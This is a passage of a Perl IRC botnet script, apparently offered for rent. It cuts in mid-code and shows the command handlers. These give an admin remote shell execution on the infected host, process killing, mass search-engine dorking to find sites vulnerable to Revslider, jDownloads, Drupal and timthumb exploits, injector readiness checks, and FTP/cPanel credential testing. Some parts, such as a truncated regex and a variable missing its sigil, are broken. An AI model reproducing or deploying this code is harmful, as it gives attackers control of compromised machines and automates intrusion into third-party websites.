$irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
nick("$mynick");
sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
sleep(1);}}
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
}
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($mynick)) {
$mynick = $4;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
}
}
elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick($mynick.int(rand(5)));
}
elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$mynick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
sendraw("NickServ IDENTIFY petbot");
sendraw("MODE $mynick +R");
sendraw("MODE $mynick +Bx");
sendraw("NS id qwe123");
sleep(3);
sendraw("JOIN $channel correct");
sendraw("JOIN $chanxxx mejen");
sleep(1);
sendraw("PRIVMSG $channel :4UpDateD BOT");
sendraw("PRIVMSG $admin :Hi $admin im here !!!");
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
select(undef, undef, undef, 0.01);
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_client->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$mynick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $ircmsg, 4096);
if ($nread == 0) {
$sel_client->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $ircmsg);
$ircmsg =~ s/\r\n$//;
if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
if ($path eq $mynick) {
if ($msg =~ /^PING (.*)/) {
sendraw("NOTICE $nick :PING $1");
}
if ($msg =~ /^VERSION/) {
sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey");
}
if ($msg =~ /^TIME/) {
sendraw("NOTICE $nick :TIME ".$datetime."");
}
if (&isAdmin($nick) && $msg eq "!die") {
&shell("$path","kill -9 $$");
}
if (&isAdmin($nick) && $msg eq "!killall") {
&shell("$path","killall -9 perl");
}
if (&isAdmin($nick) && $msg eq "!reset") {
sendraw("QUIT :Restarting...");
}
if (&isAdmin($nick) && $msg =~ /^!joinx \#(.+)/) {
sendraw("JOIN #".$1);
}
if (&isAdmin($nick) && $msg =~ /^!partx \#(.+)/) {
sendraw("PART #".$1);
}
if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
sendraw("NICK ".$1);
}
if (&isAdmin($nick) && $msg =~ /^!pid/) {
sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
}
if (&isAdmin($nick) && $msg !~ /^!/) {
&shell("$nick","$msg");
}
if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) {
sendraw("$rawmsg $msgraw ".$1);
}
if (&isAdmin($nick) && $msg =~ /^!say (.+)/) {
sendraw("PRIVMSG $rawmsg ".$1);
}
if (&isAdmin($nick) && $msg =~ /^!act (.+)/) {
sendraw("PRIVMSG $rawmsg :ACTION ".$1."");
}
if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) {
$newtimot = $1;
$timot = $newtimot;
&msg("$admin","9,1 Get Content TimeOut change to4 $timot ");
}
if (&isAdmin($nick) && $msg =~ /^!chxchan\s+(.+) -d/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
$newchan = $1;
$chanxxx = $newchan;
&msg("$admin","9,1 xChan change to4 $chanxxx ");
}}}
}
else {
if (&isAdmin($nick) && $msg eq "!die") {
&shell("$path","kill -9 $$");
}
if (&isAdmin($nick) && $msg eq "!killall") {
&shell("$path","killall -9 perl");
}
if (&isAdmin($nick) && $msg eq "!reset") {
sendraw("QUIT :Restarting...");
}
if (&isAdmin($nick) && $msg =~ /^!joinx \#(.+)/) {
sendraw("JOIN #".$1);
}
if (&isAdmin($nick) && $msg eq "!partx") {
sendraw("PART $path");
}
if (&isAdmin($nick) && $msg =~ /^!partx \#(.+)/) {
sendraw("PART #".$1);
}
if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
&shell("$path","$1");
}
if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
&shell("$path","$1");
}
if (&isAdmin($nick) && $msg =~ /^!silent\s+(.*) -d/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
$smod = $1;
if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; }
elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; }
&msg("$path","9,1[4!9]Silent Mode15 $silentstat !!!!");
}}}
##################################################################### HELP COMMAND
if ($msg=~ /^!help/) {
&msg("$path","$revlogo Revslider Scan:15 $revcmd 14[dork] ");
&msg("$path","$jomlogo Jdownloads Scan:15 $jomcmd 14[dork] ");
&msg("$path","5,1¤4»3[4!3]4«5¤7 ( Auto Get FTP/cPanel + Auto Check FTP/cPanel )");
&msg("$path","5,1¤4»3[4!3]4«5¤7 Rent this bot 20 PM/3 Days 8Contact ID: $admin ");
}
if (&isAdmin($nick) && $msg =~ /^!pid/) {
&msg("$nick","6Fake Process/PID : $fakeproc - $$");
}
if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
$inject1 = "";
$inject2 = "";
$inject3 = "";
$inject4 = "";
my $cekby1 = &get_content($rceinjector);
my $cekby2 = &get_content($thumbid);
my $cekby3 = &get_content($arbitrary);
my $cekby4 = &get_content($rceinjector2);
if ($cekby1 =~ /GIF89a/i){ $inject1 = "9Ready!!!"; } else { $inject1 = "4Lost!!!"; }
if ($cekby2 =~ /GIF89a/i){ $inject2 = "9Ready!!!"; } else { $inject2 = "4Lost!!!"; }
if ($cekby3 =~ /GIF89a/i){ $inject3 = "9Ready!!!"; } else { $inject3 = "4Lost!!!"; }
if ($cekby4 =~ /GIF89a/i){ $inject4 = "9Ready!!!"; } else { $inject4 = "4Lost!!!"; }
&msg("$path","12Injector Checker");
&msg("$path","12RCE Injector : $inject1");
&msg("$path","12Timthumb Injector : $inject2");
&msg("$path","12Arbitrary Injector : $inject3");
&msg("$path","12RCE Injector2 : $inject4");
}
if (&isAdmin($nick) && $msg =~ /^!bypass/){
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my $bystats1 = "";my $bystats2 = "";my $bystats3 = "";my $bystats4 = "";my $bystats5 = "";my $bystats6 = "";my $bystats7 = "";
my $cekby1 = &get_content($jack1."search");
if ($cekby1 =~ /search/i){ $bystats1 = "9Up!!!"; } else { $bystats1 = "4lost!!!"; }
my $cekby2 = &get_content($jack2."search");
if ($cekby2 =~ /search/i){ $bystats2 = "9Up!!!"; } else { $bystats2 = "4lost!!!"; }
my $cekby3 = &get_content($jack3."search");
if ($cekby3 =~ /search/i){ $bystats3 = "9Up!!!"; } else { $bystats3 = "4lost!!!"; }
my $cekby4 = &get_content($jack4."search");
if ($cekby4 =~ /search/i){ $bystats4 = "9Up!!!"; } else { $bystats4 = "4lost!!!"; }
my $cekby5 = &get_content($jack5."search");
if ($cekby5 =~ /search/i){ $bystats5 = "9Up!!!"; } else { $bystats5 = "4lost!!!"; }
my $cekby6 = &get_content($jack6."search");
if ($cekby6 =~ /search/i){ $bystats6 = "9Up!!!"; } else { $bystats6 = "4lost!!!"; }
my $cekby7 = &get_content($jack7."search");
if ($cekby7 =~ /search/i){ $bystats7 = "9Up!!!"; } else { $bystats7 = "4lost!!!"; }
&msg("$path","9,1[4!9]15ByPass1=$bystats1 15ByPass2=$bystats2 15ByPass3=$bystats3 15ByPass4=$bystats4 15ByPass5=$bystats5 15ByPass6=$bystats6 15ByPass7=$bystats7")
}}}
##################################################################### SCAN
if ($msg =~ /!cari\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my $find = $1;
&msg($path,"$carilogo4 Searching 15$find ");
&cari($path,$find);
} exit; }
}
if ($msg =~ /^$revcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("wp-admin/admin-ajax.php",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","12$nick 4Re-scan detected"); exit;
} else {
&msg("$chanxxx","4$nick Scanning on 12$path");
&msg("$channel","$revlogo 3Search Engine Loading ...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($channel,$bug,$dork,$engine,1,$nick);
}
}
}
}
if ($msg =~ /^$jomcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("/index.php?option=com_jdownloads&Itemid=0&view=upload",$1);
&msg("$chanxxx","4,1Lapor3 $nick15,1 lagi scan Joomla di 4$path");
&msg("$channel","$jomlogo 15Search Engine Loaded..");
&se_start($channel,$bug,$dork,$engine,2,$nick);
}
}
}
if ($msg =~ /^$drcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my $bug = $1;
my $dork = $1;
&msg("$chanxxx","4,1Lapor3 $nick15,1 lagi scan Privat di 4$path");
&msg("$channel","$drupallogo 15Search Engine Loaded..");
&drupal_start($path,$bug,$dork,"UAE,Myanmar,Argentina,Austria,Australia,Brazil,Canada,Chili,CoMersil,Czech,Germany,Denmark,Spain,Europe,France,Hungary,Indonesia,Israel,India,Info,Iran,Italy,Japan,Korea,Mexico,Malaysia,Network,Netherlands,Organization,Philippines,Polan,Romania,Russian,Thailand,Ukraine,England,USA,Slovenia,Belgium,Bussines,SouthAfrica,Vietnam,Tuvalu,Cocos,Turky,Asia,Serbia,Singapore,Taiwan,Sweden,Pakistan,Norway,Montenegro,Greece,Education,Goverment,Kazakhstan,Afganistan,Albania,Algeria,Angola,Armenia,Azerbaijan,Bahrain,Bangladesh,Belarus,Bhutan,Bolivia,Bosnia,Bulgaria,Brunei,Cambodia,Cameroon,Christmas,CostaRika,Croatia,Cuba,Cyprus,Dominican,Equador,Egypt,Estonia,Finland,Georgia,Ghana,Grenada,Honduras,Hongkong,Iceland,Ireland,Kenya,Kuwait,Laos,Latvia,Liberia,Libyan,Lithuania,Macedonia,Malta,Mongolia,Mozambique,Namibia,Nauru,Nepal,NewZealand,Nigeria,Paraguay,Peru,Portugal,PuertoRico,Qatar,SaintLucia,Samoa,SaudiArabia,Senegal,Slovakia,Srilanka,Swaziland,Tajikistan,Tanzania,Tokelau,Tonga,Tunisia,Uruguay,Uzbekistan,Venezuela,Yemen,Yugoslavia,Zambia,Uganda,Trinidad,Zimbabwe,ae,ar,at,au,by,br,ca,cl,cn,cz,de,dk,es,eu,fr,hu,id,il,in,it,jp,kr,mx,my,nl,ph,pl,ro,ru,th,ua,uk,us,si,be,tv,cc,as,ai,ag,az,bh,bd,bz,bo,ba,vg,bg,bi,co,cd,cg,ck,cr,hr,cu,ci,dj,dm,do,ec,eg,sv,ee,et,fj,fi,gm,gi,gr,gl,gt,gg,ht,hn,hk,is,ie,im,je,jo,kz,ke,ir,vn,kg,lv,ls,ly,li,lt,lu,mw,mt,mu,fm,mn,ms,ma,na,np,nz,ni,nf,no,om,pk,pa,py,pe,pn,pt,pr,qa,rw,sh,sm,sa,sn,sc,sg,sk,za,lk,vc,se,ch,tw,tj,bs,to,tt,tr,tm,vi,ug,uy,uz,ve,vm,zm,ws,af,ax,al,dz,ao,aq,am,aw,ac,bj,bm,bt,bw,io,bn,bf,kh,cm,cv,ky,cf,cx,cw,cy,fk,fo,gh,gd,gp,gu,gn,gy,hm,iq,jm,ki,kw,la,lb,lr,mo,mg,mv,mp,mq,mr,yt,md,mc,me,mz,nr,nc,ng,nu,pw,ps,cq,re,lc,pm,st,rs,gs,sl,sx,sb,so,su,kn,sr,tz,tl,tg,tk,tn,tc,vu,wf,ye,zw,com,net,org,biz,xxx,tel,mil,pro,edu,gov,cat,info,asia,name,jobs,mobi,aero,coop,travel,searchnz,WaLLa,GooGle,GooGleCA,GooGleDE,GooGleUK,GooGleFR,GooGleES,GooGleIT,GooGleNL,GooGleBE,GooGleCH,GooGleSE,GooGleDK,GooGleNO,GooGleNZ,GooGleIE,GooGleBR,GooGleAR,GooGleCO,GooGleCU,GooGleCL,GooGleMX,GooGleAU,GooGleRU,GooGleAT,GooGlePL,GooGleIL,GooGleTR,GooGleUA,GooGleGR,GooGleJP,GooGleCN,GooGleMY,GooGleTH,GooGleIN,GooGleKR,GooGleRO,GooGleTW,GooGleZA,GooGlePT,GooGleID,GooGleKE,GooGleEC,GooGleVN,GooGleZM,GooGlePH,GooGleBY,GooGleSG, GooGleBG,GooGleKZ,GooGleMA,GooGleEE,GooGleNU,GooGleLI,GooGleSA,GooGleMU,GooGleMK,GooGleAM,GooGleBO,GooGleCY,GooGleLU,GooGlePR,GooGlePE,GooGleMZ,GooGleET,GooGleAS,GooGleAI,GooGleBA,GooGleCG,GooGleDM,GooGleGT,GooGleFJ,GooGleAF,GooGleAG,GooGleAO,GooGleAZ,GooGleBD,GooGleBF,GooGleBH,GooGleBI,GooGleBJ,GooGleBN,GooGleBW,GooGleBZ,WaLLa,YaHoo,YahOoCA,YahOoUK,YahOoDE,YahOoFR,YahOoES,YahOoIT,YahOoHK,YahOoID,YahOoIN,YahOoAU,YahOoMX,YahOoTW,YahOoBR,YahOoAR,YahOoNL,YahOoDK,YahOoPH,YahOoCL,YahOoRU,YahOoCH,YahOoCO,YahOoFI,YahOoRO,YahOoVE,YahOoAT,YahOoPL,YahOoKR,YahOoNZ,YahOoGR,YahOoPE,AsK,AsKCA,AsKDE,AsKIT,AsKUK,AsKFR,AsKES,AsKRU,AsKNL,AsKEU,AsKPL,AsKAT,AsKSE,AsKDK,AsKNO,AsKAU,AsKBR,AsKMX,AsKJP,Bing,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,UoL,OnEt,CLusTy,SaPo,AoL,LyCos,HotBot,SeZNam,BigLobe");
}
}
}
if ($msg =~ /^$ftpcmd\s+(.+?)\s+(.*)\s+(.*)/) {
my $url = $_[0];
my $host = $_[1];
my $user = $_[2];
my $pass = $_[3];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) { exit; } else {
my ($host,$user,$pass) = ($1,$2,$3);
&msg("$path","9,1[4!9]FTP 4<9=4>15 Checking $host | $user:$pass");
my $success = 1;
use Net::FTP;
my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
$success = 0 if $ftp->login($user,$pass);
$ftp->quit;
if ($success == 0) {
¬ice("$nick","15 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 9Success ");
} else {
¬ice("$nick","15 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 4Denied ");
}
}
}
}
}
}
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line = $line_temp.$line if ($line_temp);
$line_temp = '';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}
##################################################################################
sub petx() {
my $dork = $_[0];
my @targets;
for (my $st=0; $st<=1000 ; $st+=100){
my $engine = "http://www.google.com/search?q=".uri_escape($dork)."&num=100&start=".$st;
my $browser = &search_engine_query($engine);
while ($browser =~ m/ 0) {
foreach my $site(@target) {
$count++;
if ($count == $num-1) {
&msg("$chan","$carilogo9Finished 15for 9$dork ");
}
my $test = "http://".$site.".php?src=".$thumbshell;
if (my $pid = fork) { waitpid($pid, 0); } else {
if (fork) { exit; } else {
my $coba = &get_content($test);
if ($coba =~ /Unable to open image/) {
&msg($chan,"$carilogo4 VulN 4-> 15 http://".$site.".php ");
}
} exit;
}
}
}
}
sub type() {
my ($chan,$bug,$dork,$engine,$type,$nick) = @_;
if ($type == 1){$type=&revslider_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 2){$type=&jdownload($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 3){$type=&drupal_exploit($chan,$bug,$dork,$engine);}
elsif ($type == 4){$type=&hwd_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 5){$type=&osc_xpl($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 6){$type=&kcf_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 7){$type=&tiny_exploit($chan,$bug,$dork,$engine,$nick);}
}
##################################################################################
sub drupal_start() {
my ($chan,$bug,$dork,$engine) = @_;
if ($engine =~ /uae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"UAE"); } exit; } }
if ($engine =~ /myanmar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &lfi($chan,$bug,dork,"Myanmar"); } exit; } }
if ($engine =~ /argentina/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Argentina"); } exit; } }
if ($engine =~ /austria/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Austria"); } exit; } }
if ($engine =~ /australia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Australia"); } exit; } }
if ($engine =~ /brazil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Brazil"); } exit; } }
if ($engine =~ /canada/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Canada"); } exit; } }
if ($engine =~ /chili/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Chili"); } exit; } }
if ($engine =~ /cina/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Cina"); } exit; } }
if ($engine =~ /comersil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"CoMersil"); } exit; } }
if ($engine =~ /czech/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Czech"); } exit; } }
if ($engine =~ /germany/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Germany"); } exit; } }
if ($engine =~ /denmark/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Denmark"); } exit; } }
if ($engine =~ /spain/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Spain"); } exit; } }
if ($engine =~ /europe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Europe"); } exit; } }
if ($engine =~ /france/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"France"); } exit; } }
if ($engine =~ /hungary/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Hungary"); } exit; } }
if ($engine =~ /indonesia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Indonesia"); } exit; } }
if ($engine =~ /israel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Israel"); } exit; } }
if ($engine =~ /india/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"India"); } exit; } }
if ($engine =~ /info/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Info"); } exit; } }
if ($engine =~ /iran/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Iran"); } exit; } }
if ($engine =~ /italy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Italy"); } exit; } }
if ($engine =~ /japan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Japan"); } exit; } }
if ($engine =~ /korea/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Korea"); } exit; } }
if ($engine =~ /mexico/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Mexico"); } exit; } }
if ($engine =~ /malaysia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Malaysia"); } exit; } }
if ($engine =~ /network/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Network"); } exit; } }
if ($engine =~ /netherlands/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Netherlands"); } exit; } }
if ($engine =~ /organization/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Organization"); } exit; } }
if ($engine =~ /philippines/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Philippines"); } exit; } }
if ($engine =~ /poland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Poland"); } exit; } }
if ($engine =~ /romania/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Romania"); } exit; } }
if ($engine =~ /russian/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Russian"); } exit; } }
if ($engine =~ /thailand/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Thailand"); } exit; } }
if ($engine =~ /ukraine/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Ukraine"); } exit; } }
if ($engine =~ /england/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"England"); } exit; } }
if ($engine =~ /usa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"USA"); } exit; } }
if ($engine =~ /slovenia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Slovenia"); } exit; } }
if ($engine =~ /belgium/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Belgium"); } exit; } }
if ($engine =~ /bussines/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Bussines"); } exit; } }
if ($engine =~ /southafrica/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"SouthAfrica"); } exit; } }
if ($engine =~ /vietnam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Vietnam"); } exit; } }
if ($engine =~ /tuvalu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Tuvalu"); } exit; } }
if ($engine =~ /cocos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Cocos"); } exit; } }
if ($engine =~ /turky/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Turky"); } exit; } }
if ($engine =~ /asia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Asia"); } exit; } }
if ($engine =~ /serbia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Serbia"); } exit; } }
if ($engine =~ /singapore/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Singapore"); } exit; } }
if ($engine =~ /taiwan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Taiwan"); } exit; } }
if ($engine =~ /sweden/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Sweden"); } exit; } }
if ($engine =~ /pakistan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Pakistan"); } exit; } }
if ($engine =~ /norway/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Norway"); } exit; } }
if ($engine =~ /montenegro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Montenegro"); } exit; } }
if ($engine =~ /greece/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Greece"); } exit; } }
if ($engine =~ /education/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Education"); } exit; } }
if ($engine =~ /goverment/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Goverment"); } exit; } }
if ($engine =~ /kazakhstan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Kazakhstan"); } exit; } }
if ($engine =~ /afganistan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &lfi($chan,$bug,dork,"Afganistan"); } exit; } }
if ($engine =~ /albania/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Albania"); } exit; } }
if ($engine =~ /algeria/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Algeria"); } exit; } }
if ($engine =~ /angola/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Angola"); } exit; } }
if ($engine =~ /armenia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Armenia"); } exit; } }
if ($engine =~ /azerbaijan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Azerbaijan"); } exit; } }
if ($engine =~ /bahrain/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Bahrain"); } exit; } }
if ($engine =~ /bangladesh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Bangladesh"); } exit; } }
if ($engine =~ /belarus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Belarus"); } exit; } }
if ($engine =~ /bhutan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Bhutan"); } exit; } }
if ($engine =~ /bolivia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Bolivia"); } exit; } }
if ($engine =~ /bosnia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Bosnia"); } exit; } }
if ($engine =~ /bulgaria/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Bulgaria"); } exit; } }
if ($engine =~ /brunei/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Brunei"); } exit; } }
if ($engine =~ /cambodia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Cambodia"); } exit; } }
if ($engine =~ /cameroon/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Cameroon"); } exit; } }
if ($engine =~ /christmas/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Christmas"); } exit; } }
if ($engine =~ /costarika/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"CostaRika"); } exit; } }
